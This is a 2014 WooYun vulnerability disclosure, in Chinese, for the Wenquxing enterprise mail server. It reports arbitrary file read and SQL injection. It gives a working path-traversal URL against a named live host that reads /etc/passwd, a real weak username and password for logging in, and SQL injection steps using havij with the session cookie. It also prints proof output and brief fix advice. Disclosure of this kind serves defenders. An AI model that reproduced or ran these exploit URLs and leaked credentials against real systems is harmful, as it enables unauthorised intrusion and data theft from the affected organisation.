[公开漏洞]文曲星企业邮箱任意文件读取&SQL注入

文曲星企业邮箱任意文件读取&SQL注入 相关厂商： 北京金远见电脑技术有限公司 漏洞作者：jinzihao 提交时间：2014-05-22 22:23 公开时间：2014-07-06 22:24 漏洞类型：任意文件遍历/下载 危害等级：高 自评Rank：18 漏洞状态： 未联系到厂商或者厂商积极忽略 漏洞来源：http://www.wooyun.org Tags标签： 任意文件读取 参数未过滤 MySQL注入 漏洞详情 披露状态：

2014-05-22：积极联系厂商并且等待厂商认领中，细节不对外公开
2014-07-06：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

文曲星企业邮箱服务器存在任意文件读取漏洞和SQL注射漏洞，可以读取/目录下任意文件（包括服务器配置、系统用户、网页源码等），并可读写所有数据库

详细说明：

读取任意文件：（以/etc/passwd为例）

http://mail.ggv.com.cn/login.php?Lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00.php

SQL注入：

1.使用弱密码登录

USERNAME: hansin

PASSWORD: hansin@12

2.提取登录cookie(用havij或类似工具)

3.使用前一步获得的cookie注入：http://mail.ggv.com.cn/messageshow.php?id=3

漏洞证明：

http://mail.ggv.com.cn/login.php?Lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00.php

Current database

[4 tables]

+----------+

| address  |

| logs     |

| message  |

| personal |

+----------+

修复方案：

限制服务器运行用户的权限

修改涉及$_GET[]的页面，修补SQL注射漏洞

版权声明：转载请注明来源 jinzihao@乌云 漏洞回应 厂商回应：

未能联系到厂商或者厂商积极拒绝